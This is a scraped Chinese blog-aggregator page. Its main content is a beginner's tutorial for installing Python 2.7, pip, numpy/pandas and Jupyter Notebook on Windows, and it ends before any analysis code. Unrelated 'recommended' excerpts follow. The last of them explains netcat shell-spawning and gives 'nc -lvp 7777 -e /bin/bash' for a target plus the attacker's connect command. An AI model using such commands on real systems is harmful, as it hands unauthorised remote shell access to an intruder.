jupyter(ipython notebook) 安装和入门教程_dianliao7817的博客-程序员秘密

技术标签: python  开发工具  c/c++  

近期大家无论是自己做数据分析还是紧急答辩做PPT,可能都需要画一些数据的展示图;以前大家都是用excel画图,但excel画图存在一定的局限性,比如你要画个累积直方图,excel就很麻烦了,所以给大家介绍一个基于python的交互数据分析工具,ipython notebook。
 
 

本文会给大家介绍从零开始安装和使用notebook的入门教程,写的不详细的地方可以多多交流。

本文假设大家都是python “小白”,本教程针对的是Windows平台,python大神可以根据自己的需要看某些章节就好。

安装python2.7

首先从python官网 下载对应的python安装文件,然后按照,安装过程

注意选择全部安装

 

python测试

打开cmd命令行界面,输入python,回车后可以看到一个简单的交互界面

输入 print "hello world" 会看到hello world的输出

按下Ctrl+Z 然后回车,可以退出

 

pip测试

cmd中输入 pip ,看到类似这样的输出证明pip正确安装了

 

安装VC for Python

没有这个,很多数据分析包都安装不了,因为这些包底层都是C++编写的,可以从这里下载VC for Python

安装常用数据分析用到的python库

pip install numpy
pip install pandas
pip install matplotlib pip install statsmodels

 

安装 ipython notebook

pip install jupyter

测试 ipython notebook

命令行输入 ipython notebook,会自动跳转到浏览器,浏览器默认是命令行所在的目录

 

至此,万事俱备,可以开始做自己想做的事情了

简单使用

我们创建一个example文件夹,然后在浏览器(下称jupyter)中进入这个文件夹,然后选择右边的new按钮,下拉选择Python 2

 然后就可以开始写python的代码了

 

下面我们开始尝试做数据分析

导入数据分析常用库和配置

 

 

 

 

 

 

 

 

 

转载于:https://www.cnblogs.com/qwj-sysu/p/8502730.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/dianliao7817/article/details/102298621

智能推荐

Android6.0之Activity的管理与启动模式_疾风-Bevis的博客-程序员秘密_activity 6.0 怎么启动模型

前面分析到了ActivityStackSupervisor类中的startActivityLocked方法,在分析这个方法前,先介绍一些关于Activity的知识,以方便我们理解代码.TaskTask是一个栈,它的作用是以先进后退的方式组织Activity。Android把用户一次操作相关的Activity按照先后顺序保存在一个Task中,这样当用户按back键时,就能

直方图匹配的数学原理_nachifur的博客-程序员秘密_直方图匹配

直方图匹配的数学原理1.绪论:直方图匹配的数学原理,与直方图均衡化有密切的联系,建议看明白直方图均衡化(参考博主的另一篇博客直方图均衡化的数学原理),再看直方图匹配,文中图像截取自数字图像处理-冈萨雷斯-第三版,该书翻译一般,可以中英文对照。注意:仔细耐心的看完,一定会明白其中的原理。2.变量符号说明:s=T(r),r为输入灰度级,s为输出灰度级,T为灰度变换函数(直方图处理也...

mysql connect 2002_解决mysql登陆时出现“ERROR2002(HY000):Can'tconnect..”_MySQL_丛越的博客-程序员秘密

bitsCN.com解决mysql登陆时出现“ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysql/mysql.sock' (2)”mariadb同样适用首先检查mysql状态linux-6yo1:~ # /etc/init.d/mysql statusChecking for ...

html另存为对话框,前端实现弹出“另存为”对话框的三种方式_苏苏苏苏大霖的博客-程序员秘密

今天开发一个需求,需要将一段字符串保存到文件中,并且保存之后在页面上弹出“另存为”对话框来实现将文件保存到指定位置。那么应该如何来实现在前端弹出“另存为”对话框呢?调用document.execCommand方法调用js方法document.execCommand可在前台页面调出“另存为”对话框,并将将服务器上存放的文件保存到本地指定的位置。需要注意的是,部分IE浏览器中,可能会阻止显示内容,点击...

历届中国大数据技术大会PPT精粹(一)_LIAN_1988的博客-程序员秘密

以下为历届中国大数据技术大会PPT精粹第一部分:MemSQL联合创始人兼CTO Nikita Shamgunov解析“实时数据分析” PPT下载Nikita把如今的时代比做是摩尔定律的尾声,指出如今的计算速度不会再像以前那么快,然而数据的发展速度却丝毫没有停止,同时数据的多样性也完全爆发。他认为如今大数据技术最大的难题就是延迟问题,尤其是数据延迟和查询延迟。在对比了Twit

随便推点

winform 把dll封装进exe_弹吉他的少年郎的博客-程序员秘密_winform把dll放进exe

双击打开资源添加添加现有文件自动生成如下最后直接上代码即可 System.Reflection.Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args) { string dllName = args.Name.Contains(",") ? args.Name.Substring(0, args.Name.IndexOf...

Node8.0之Napi探秘_chilv4120的博客-程序员秘密

本文目录简介Napi简介铁打的hello_world关于文件头关于基础数据类型关于错误处理关于异常处理相关异常处理函数关于生命周期相关函数关于模块注册关于js的类型值枚举值对象构造器C->N-api值 转换函数N-api->C 值转换...

uoj #86 mx的组合数 FFT 原根_make_it_for_good的博客-程序员秘密_uoj fft

把l,r的条件看成前缀相减,那么就是求Cnx%p(1≤x≤bound)C_x^n\%p(1\le x\le bound) 设n的p进制形式为a1a2a3....acnta_1a_2a_3....a_{cnt} bound的p进制形式为b1b2b3.....bcntb_1b_2b_3.....b_{cnt} 由lucas定理原式为∏Caixi\prod C_{x_i}^{a_i}。 设g[i]

杂记:Vue 开发 “踩坑”记录_杰~JIE的博客-程序员秘密_el img src 双向绑定

1. Vue CLI 中 img src 动态赋值2. 自定义组件实现v-model3. Element-ui: Vue 中 阻止 element-ui 组件事件冒泡4. Element-ui:在<el-form>不设置rule的时候 resetFields 失效

php命令执行反弹nc,详解NC反弹shell的几种方法_小理同学的博客-程序员秘密

假如ubuntu、CentOS为目标服务器系统kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用最终是将ubuntu、CentOS的shell反弹到kali上正向反弹shellubuntu或者CentOS上面输入nc -lvp 7777 -e /bin/bashkali上输入nc ip 7777正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹s...

推荐文章

热门文章

相关标签